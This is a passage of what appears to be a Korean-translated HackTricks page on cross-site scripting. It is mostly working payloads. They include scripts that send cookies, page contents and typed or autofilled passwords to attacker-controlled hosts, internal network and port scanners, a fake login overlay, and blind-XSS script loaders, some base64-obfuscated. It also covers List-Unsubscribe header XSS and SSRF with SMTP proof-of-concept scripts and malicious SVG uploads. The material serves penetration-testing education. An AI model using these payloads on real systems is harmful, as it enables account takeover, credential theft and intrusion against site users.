<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
Tip
cookie에 HTTPOnly 플래그가 설정되어 있으면, JavaScript에서 cookies에 접근할 수 없습니다. 하지만 운이 좋다면 이 보호를 우회하는 몇 가지 방법이 있습니다.
Steal Page Content
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
내부 IP 찾기
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Short times indicate a responding port Longer times indicate no response.
Chrome에서 금지된 ports 목록은 here에서, Firefox에서는 here에서 확인하세요.
자격 증명을 요청하는 상자
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Auto-fill passwords capture
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
비밀번호 필드에 어떤 데이터가 입력되면, username과 password가 attackers server로 전송됩니다. 클라이언트가 saved password를 선택해 아무것도 입력하지 않아도 credentials는 ex-filtrated됩니다.
Hijack form handlers to exfiltrate credentials (const shadowing)
만약 중요한 handler(예: function DoLogin(){...})가 페이지에서 나중에 선언되고, 당신의 payload가 더 일찍 실행된다면(예: inline JS-in-JS sink를 통해), 같은 이름의 const를 먼저 정의해 handler를 선점하고 잠글 수 있습니다. 이후의 function 선언은 const 이름을 재바인딩할 수 없어 당신의 hook이 제어권을 유지합니다:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
참고
- 이는 실행 순서에 의존합니다: your injection은 정식 선언보다 먼저 실행되어야 합니다.
- 만약 your payload가
eval(...)로 감싸져 있다면,const/let바인딩은 글로벌이 되지 않습니다. 진정한 글로벌(재바인딩 불가능) 바인딩을 보장하려면 섹션 “Deliverable payloads with eval(atob()) and scope nuances”의 동적<script>injection 기법을 사용하세요. - 키워드 필터가 코드를 차단할 경우, 위에 보인 것처럼 Unicode-escaped 식별자나
eval(atob('...'))전달 방식을 결합해서 사용하세요.
Keylogger
github에서 검색해보니 몇 가지가 있었습니다:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- 또한 metasploit의
http_javascript_keylogger를 사용할 수도 있습니다
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
PostMessage 메시지 탈취
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
페이지가 postMessage로부터 event.origin을 저장하고 나중에 그것을 스크립트 URL에 이어붙이면, 송신자가 로드된 JS의 origin을 제어합니다:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
익스플로잇 레시피 (CAPIG 출처):
- Gates:
window.opener가 존재하고pixel_id가 allowlisted일 때만 동작; origin은 절대 검사되지 않음. - Use CSP-allowed origin: 피해자 CSP에서 이미 허용된 도메인으로 피벗하세요(예: 로그아웃된 도움말 페이지가 analytics를 허용하는
*.THIRD-PARTY.com같은 경우) 그리고 takeover/XSS/upload로 그곳에/sdk/<pixel_id>/iwl.js를 호스팅하세요. - Restore
opener: Android WebView에서window.name='x'; window.open(target,'x')는 페이지가 자신의 opener가 되게 합니다; 탈취된 iframe에서 악성postMessage를 전송하세요. - Trigger: iframe이
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}를 전송하면, 부모는 CSP-allowed origin에서 공격자iwl.js를 로드하고 실행합니다.
이는 origin-less postMessage 검증을 CSP를 우회해 살아남을 수 있는 원격 스크립트 로더 프리미티브로 바꿉니다 — 정책에서 이미 허용된 어떤 origin에든 착지할 수 있다면 유효합니다.
백엔드 JS 문자열 연결(concatenation)을 통한 공급망 stored XSS
백엔드가 사용자 제어 값으로 JS 문자열을 연결(concatenating)해 공유 SDK를 빌드할 때, 어떤 따옴표/구조 파괴자(quote/structure breaker)라도 모든 소비자에게 제공되는 스크립트를 주입할 수 있습니다:
- 예시 패턴 (Meta CAPIG): 서버가
capig-events.js에cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});를 그대로 추가합니다. '또는"]}을 주입하면 리터럴/객체가 닫히고 공격자 JS가 추가되어, 이를 로드하는 모든 사이트(첫-파티(first-party) 및 서드-파티(third-party))에서 배포된 SDK에 stored XSS가 생성됩니다.
escaping이 비활성화된 경우 생성된 보고서에서의 stored XSS
업로드된 파일이 파싱되고 그 메타데이터가 escaping이 비활성화된 HTML 보고서(|safe, custom renderers)에 출력되면, 그 메타데이터는 stored XSS sink가 됩니다. 예시 흐름:
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
Django 템플릿이 {{item|key:"title"|safe}}를 렌더링하므로 공격자 HTML이 실행됩니다.
Exploit: 리포트로 전달되는 모든 manifest/config 필드에 엔티티로 인코딩된 HTML을 넣으세요:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
|safe로 렌더링하면, 리포트는 <img ...>를 출력하고 열람 시 JS를 실행합니다.
Hunting: 파싱된 필드를 %s/f-strings에서 재사용하고 auto-escape를 비활성화하는 report/notification 빌더를 찾아보세요. 업로드된 manifest/log/archive에 있는 하나의 인코딩된 태그가 모든 뷰어에 대해 XSS를 지속시킵니다.
Service Workers 남용
Shadow DOM 접근
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
다음도 사용할 수 있습니다: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - 숨겨진 콘텐츠에 접근
이 this writeup에서 알 수 있듯이, 일부 값이 JS에서 사라지더라도 다른 객체의 JS 속성에서 여전히 해당 값을 찾을 수 있다. 예를 들어, REGEX의 입력값은 해당 입력값이 제거된 이후에도 여전히 찾을 수 있다:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS로 다른 취약점 악용하기
Markdown에서의 XSS
렌더링되는 Markdown 코드를 주입할 수 있나요? 어쩌면 XSS를 얻을 수 있습니다! 확인:
XSS를 SSRF로
캐싱을 사용하는 사이트에서 XSS를 발견했나요? Edge Side Include Injection을 통해 이를 SSRF로 업그레이드해보세요 — 다음 payload:
<esi:include src="http://yoursite.com/capture" />
이를 사용해 쿠키 제한, XSS 필터 등 많은 것을 우회할 수 있습니다!
이 기법에 대한 자세한 정보는 다음을 참조하세요: XSLT.
동적으로 생성된 PDF에서의 XSS
웹 페이지가 사용자 제어 입력을 사용해 PDF를 생성하는 경우, PDF를 생성하는 봇을 속여서 임의의 JS 코드를 실행하도록 시도해볼 수 있습니다.
따라서 PDF 생성 봇이 어떤 종류의 HTML 태그를 발견하면, 이를 해석하고 이 동작을 악용하여 Server XSS를 일으킬 수 있습니다.
HTML 태그를 주입할 수 없다면 inject PDF data를 시도해볼 가치가 있습니다:
Amp4Email에서의 XSS
AMP는 모바일 장치에서 웹 페이지 성능을 가속화하기 위해 고안되었으며, 속도와 보안을 강조하면서 기능을 보장하기 위해 HTML 태그에 JavaScript가 보완되어 사용됩니다. 다양한 기능을 위한 여러 컴포넌트를 지원하며, 이는 AMP components에서 확인할 수 있습니다.
AMP for Email 포맷은 특정 AMP 컴포넌트를 이메일에 확장하여 수신자가 이메일 내에서 직접 콘텐츠와 상호작용할 수 있게 합니다.
예: writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Abuse (Webmail XSS & SSRF)
RFC 2369의 List-Unsubscribe 헤더는 공격자 제어 URI를 포함할 수 있으며, 많은 webmail 및 메일 클라이언트는 이를 자동으로 “Unsubscribe” 버튼으로 변환합니다. 이러한 URI가 검증 없이 렌더링되거나 가져와질 때, 해당 헤더는 저장된 XSS(언제 unsubscribe 링크가 DOM에 배치되는 경우)와 SSRF(서버가 사용자를 대신해 unsubscribe 요청을 수행하는 경우) 둘 다를 위한 주입 지점이 됩니다.
Stored XSS via javascript: URIs
- 자신에게 이메일을 보내세요. 헤더가
javascript:URI를 가리키도록 하되, 스팸 필터에 걸리지 않도록 메시지의 나머지 부분은 정상적으로 유지하세요. - UI가 해당 값을 렌더링하는지 확인하세요 (많은 클라이언트는 이를 “List Info” 창에 표시합니다) 그리고 결과
<a>태그가href나target같은 공격자가 제어하는 속성을 상속하는지 확인하세요. - 실행을 트리거하세요 (예: CTRL+click, 중간 클릭, 또는 “open in new tab”) — 링크가
target="_blank"을 사용할 때; 브라우저는 제공된 JavaScript를 webmail 애플리케이션의 오리진에서 평가합니다. - 저장된 XSS 프리미티브를 확인하세요: 페이로드는 이메일과 함께 지속되며 실행하려면 클릭만 필요합니다.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
URI의 newline 바이트(%0a)는 Horde IMP H5와 같은 취약한 클라이언트에서 렌더링 파이프라인을 통해 특이한 문자조차도 그대로 살아남아 앵커 태그 내부에 문자열을 있는 그대로 출력함을 보여준다.
악성 List-Unsubscribe 헤더를 전달하는 최소한의 SMTP PoC
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### 서버 측 unsubscribe 프록시 -> SSRF
일부 클라이언트(예: Nextcloud Mail app)는 unsubscribe 동작을 서버 측에서 프록시합니다: 버튼을 클릭하면 서버가 제공된 URL을 자체적으로 가져오도록 지시합니다. 이로 인해 해당 헤더가 SSRF primitive가 되며, 관리자가 `'allow_local_remote_servers' => true`로 설정한 경우(자세한 내용은 [HackerOne report 2902856](https://hackerone.com/reports/2902856)) loopback 및 RFC1918 범위로의 요청을 허용합니다.
1. **공격자가 제어하는 엔드포인트를 대상으로 `List-Unsubscribe`를 설정한 이메일을 제작합니다** (blind SSRF 용도로는 Burp Collaborator / OAST 사용).
2. **UI에 원클릭 unsubscribe 버튼이 표시되도록 `List-Unsubscribe-Post: List-Unsubscribe=One-Click`을 유지합니다.**
3. **신뢰 요구사항을 충족시킵니다**: 예를 들어 Nextcloud는 메시지가 DKIM을 통과할 때만 HTTPS unsubscribe 요청을 수행하므로, 공격자는 자신이 제어하는 도메인으로 이메일에 서명해야 합니다.
4. **메시지를 대상 서버가 처리하는 메일박스에 전달하고** 사용자가 unsubscribe 버튼을 클릭할 때까지 기다립니다.
5. **collaborator endpoint에서 서버 측 콜백을 관찰한 다음**, primitive가 확인되면 내부 주소로 pivot합니다.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM 서명된 List-Unsubscribe 메시지 (SSRF 테스트용)
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**테스트 노트**
- OAST 엔드포인트를 사용해 블라인드 SSRF 히트를 수집한 뒤, 프리미티브가 확인되면 `List-Unsubscribe` URL을 `http://127.0.0.1:PORT`, 메타데이터 서비스 또는 다른 내부 호스트로 조정하세요.
- unsubscribe helper가 종종 애플리케이션과 동일한 HTTP 스택을 재사용하기 때문에, 해당 헬퍼의 프록시 설정, HTTP verbs, 및 header rewrites를 상속받아 [SSRF methodology](../ssrf-server-side-request-forgery/README.md)에 설명된 추가적인 트래버설 트릭을 사용할 수 있습니다.
### XSS 파일 업로드 (svg)
다음 예제와 같은 파일을 이미지로 업로드하세요 (출처: [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
다음에서 더 많은 SVG payloads 확인: https://github.com/allanlw/svg-cheatsheet
기타 JS Tricks & 관련 정보
Misc JS Tricks & Relevant Info
XSS 리소스
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
참고자료
- WAF 뒤의 무해한 XSS를 현실적인 피싱 벡터로 전환하기
- Horde Webmail과 Nextcloud Mail에서 List-Unsubscribe SMTP Header를 통한 XSS 및 SSRF
- HackerOne 리포트 #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- “Low-Impact” RXSS에서 Credential Stealer로: JS-in-JS 워크스루
- MDN eval()
- CAPIG XSS: postMessage origin trust가 script loader가 되며, backend JS concatenation이 supply-chain stored XSS를 가능하게 함
- MobSF manifest 분석을 통한 stored XSS (unsafe Django safe sink)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


